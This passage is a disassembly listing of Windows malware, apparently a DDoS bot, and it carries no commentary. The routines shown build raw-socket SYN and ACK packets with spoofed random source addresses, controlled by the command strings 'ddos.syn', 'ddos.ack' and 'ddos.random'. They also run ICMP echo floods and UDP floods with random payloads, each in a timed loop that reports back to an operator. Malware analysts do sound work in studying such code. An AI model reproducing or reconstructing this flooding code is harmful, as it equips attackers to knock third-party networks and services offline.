		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_413469
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_438794
		push	eax
		call	sub_41C056
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_413111
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_409982
		add	esp, 14h


loc_413111:				; CODE XREF: sub_413081+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_4157A5
		push	[ebp+var_290]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_413081	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413133	proc near		; CODE XREF: sub_413469+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CDBD4	; WSAStartup
		test	eax, eax
		jz	short loc_413173
		xor	eax, eax
		jmp	loc_41343C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_413133+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CDD08	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_413434
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CDC44	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_41342A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CDC64	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CDC64	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_12], ax
		call	sub_41C0B2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CDC64	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CDC60	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413243
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_413297
; ---------------------------------------------------------------------------


loc_413243:				; CODE XREF: sub_413133+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41325F
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_413297
; ---------------------------------------------------------------------------


loc_41325F:				; CODE XREF: sub_413133+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413297
		call	sub_41C0B2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C0B2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_413297:				; CODE XREF: sub_413133+10Ej
					; sub_413133+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_428138	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_428134	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DA80
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_4132E5:				; CODE XREF: sub_413133+2E2j
					; sub_413133+2EEj
		mov	[ebp+var_4], bx
		call	sub_41C0B2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_14], ax
		call	sub_41C0B2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C0B2
		or	edi, eax
		push	edi
		call	dword_4CDC64	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CDC60	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AB6D
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41CAE0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AB6D
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CDCC8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413440
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_428134	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_413427
		jl	loc_4132E5
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jb	loc_4132E5


loc_413427:				; CODE XREF: sub_413133+2E0j
		mov	ebx, [ebp+arg_8]


loc_41342A:				; CODE XREF: sub_413133+78j
					; sub_413133+334j
		push	[ebp+var_20]
		call	dword_4CDCFC	; closesocket
		pop	esi


loc_413434:				; CODE XREF: sub_413133+5Bj
		call	dword_4CDBBC	; WSACleanup
		mov	eax, ebx


loc_41343C:				; CODE XREF: sub_413133+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413440:				; CODE XREF: sub_413133+2CBj
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4387BC
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4157A5
		add	esp, 10h
		jmp	short loc_41342A
sub_413133	endp


; =============== S U B	R O U T	I N E =======================================



sub_413469	proc near		; CODE XREF: sub_413081+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AA04
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41BF49
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41BF49
		mov	edi, eax
		call	sub_41C0B2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413133
		add	esp, 20h
		test	eax, eax
		jnz	short loc_4134B6
		inc	eax


loc_4134B6:				; CODE XREF: sub_413469+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413469	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134C5	proc near		; DATA XREF: sub_401B66+664Bo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		push	0FFh
		inc	ebx
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4CDCE4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_413560
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4388BC
		push	eax
		call	sub_41C056
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413543
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409982
		add	esp, 14h


loc_413543:				; CODE XREF: sub_4134C5+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4157A5
		push	[ebp+var_38]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_413560:				; CODE XREF: sub_4134C5+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4CDC44	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4135D7
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_43888C
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4135BA
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409982
		add	esp, 14h


loc_4135BA:				; CODE XREF: sub_4134C5+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4157A5
		push	[ebp+var_38]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_4135D7:				; CODE XREF: sub_4134C5+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41363E
		lea	eax, [ebp+var_3BC]
		push	offset unk_43886C
		push	eax
		call	sub_41C056
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_413621
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409982
		add	esp, 14h


loc_413621:				; CODE XREF: sub_4134C5+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4157A5
		push	[ebp+var_38]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_41363E:				; CODE XREF: sub_4134C5+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	esi, dword_4280A8
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		jmp	loc_41379F
; ---------------------------------------------------------------------------


loc_413681:				; CODE XREF: sub_4134C5+2EBj
		push	41Ch
		mov	byte_4D0AB8, 45h
		call	dword_4CDC64	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_4D0ABA, ax
		mov	word_4D0ABC, bx
		mov	word_4D0ABE, di
		mov	byte_4D0AC0, 80h
		mov	byte_4D0AC1, bl
		mov	word_4D0AC2, di
		jz	short loc_4136F0
		call	sub_41C0B2
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41C0B2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41C0B2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41C0B2
		add	ebx, eax
		mov	dword_4D0AC4, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_413708
; ---------------------------------------------------------------------------


loc_4136F0:				; CODE XREF: sub_4134C5+1F9j
		push	[ebp+var_1BC]
		call	sub_40AB14
		pop	ecx
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	dword_4D0AC4, eax


loc_413708:				; CODE XREF: sub_4134C5+229j
		mov	eax, [ebp+var_18]
		mov	dword_4D0AC8, eax
		call	sub_41C0B2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D0ACC, dl
		call	sub_41C0B2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D0ACD, dl
		call	sub_41C0B2
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4D0ACE, di
		mov	word_4D0AD2, bx
		inc	edx
		mov	word_4D0AD0, dx
		call	sub_41C0B2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4D0AD4
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4D0AB8
		push	[ebp+var_4]
		call	dword_4CDCC8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_41383B
		inc	[ebp+arg_0]


loc_41379F:				; CODE XREF: sub_4134C5+1B7j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_413681
		push	[ebp+var_4]
		call	dword_4CDCFC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_438820
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_41381E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409982
		add	esp, 14h


loc_41381E:				; CODE XREF: sub_4134C5+337j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4157A5
		push	[ebp+var_38]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_41383B:				; CODE XREF: sub_4134C5+2D1j
		push	[ebp+var_4]
		call	dword_4CDCFC	; closesocket
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4387D8
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_413893
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409982
		add	esp, 14h


loc_413893:				; CODE XREF: sub_4134C5+3ACj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4157A5
		push	[ebp+var_38]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread
sub_4134C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138B0	proc near		; DATA XREF: sub_401B66+544Bo

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_4CDBEC	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41390B
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CDCE8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413911


loc_41390B:				; CODE XREF: sub_4138B0+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_41396E


loc_413911:				; CODE XREF: sub_4138B0+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_438914
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413951
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409982
		add	esp, 14h


loc_413951:				; CODE XREF: sub_4138B0+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_4157A5
		push	[ebp+var_30]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_41396E:				; CODE XREF: sub_4138B0+5Fj
		cmp	eax, ebx
		jz	short loc_41397E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413981
; ---------------------------------------------------------------------------


loc_41397E:				; CODE XREF: sub_4138B0+C0j
		mov	[ebp+var_4], esi


loc_413981:				; CODE XREF: sub_4138B0+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41BD60
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_4139A1
		mov	[ebp+var_3C], eax


loc_4139A1:				; CODE XREF: sub_4138B0+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_4139A9
		mov	[ebp+var_38], edi


loc_4139A9:				; CODE XREF: sub_4138B0+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_4139D6


loc_4139B0:				; CODE XREF: sub_4138B0+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4CDB7C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_4139B0


loc_4139D6:				; CODE XREF: sub_4138B0+FEj
		push	[ebp+arg_0]
		call	dword_4CDD18	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4388E8
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413A1F
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409982
		add	esp, 14h


loc_413A1F:				; CODE XREF: sub_4138B0+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_4157A5
		push	[ebp+var_30]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
sub_4138B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A3C	proc near		; DATA XREF: sub_401B66+56A1o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4CDCE4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_413B21
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4CDCE8	; gethostbyname
		cmp	eax, edi
		jnz	short loc_413B1A
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_438968
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_413AFD
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409982
		add	esp, 14h


loc_413AFD:				; CODE XREF: sub_413A3C+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_4157A5
		push	[ebp+var_20]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_413B1A:				; CODE XREF: sub_413A3C+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_413B24
; ---------------------------------------------------------------------------


loc_413B21:				; CODE XREF: sub_413A3C+6Ej
		lea	eax, [ebp+arg_0]


loc_413B24:				; CODE XREF: sub_413A3C+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_413B3F
		call	sub_41C0B2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_413B42
; ---------------------------------------------------------------------------


loc_413B3F:				; CODE XREF: sub_413A3C+F0j
		push	[ebp+var_24]


loc_413B42:				; CODE XREF: sub_413A3C+101j
		call	dword_4CDC64	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_413B54
		mov	[ebp+var_24], esi


loc_413B54:				; CODE XREF: sub_413A3C+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_413B61
		mov	[ebp+var_24], eax


loc_413B61:				; CODE XREF: sub_413A3C+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_413B75
		mov	[ebp+var_28], esi


loc_413B75:				; CODE XREF: sub_413A3C+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_413BEE


loc_413B7C:				; CODE XREF: sub_413A3C+158j
		call	sub_41C0B2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_413B7C
		jmp	short loc_413BEE
; ---------------------------------------------------------------------------


loc_413B98:				; CODE XREF: sub_413A3C+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi


loc_413B9E:				; CODE XREF: sub_413A3C+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41C0B2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4CDCC8	; sendto
		push	[ebp+var_28]
		call	dword_428064	; Sleep
		dec	esi
		jnz	short loc_413B9E
		cmp	[ebp+var_24], edi
		jnz	short loc_413BEE
		call	sub_41C0B2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_E], ax


loc_413BEE:				; CODE XREF: sub_413A3C+13Ej
					; sub_413A3C+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_413B98
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_43893C
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_413C36
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409982
		add	esp, 14h


loc_413C36:				; CODE XREF: sub_413A3C+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_4157A5
		push	[ebp+var_20]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread
sub_413A3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C53	proc near		; DATA XREF: sub_401B66+4D11o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
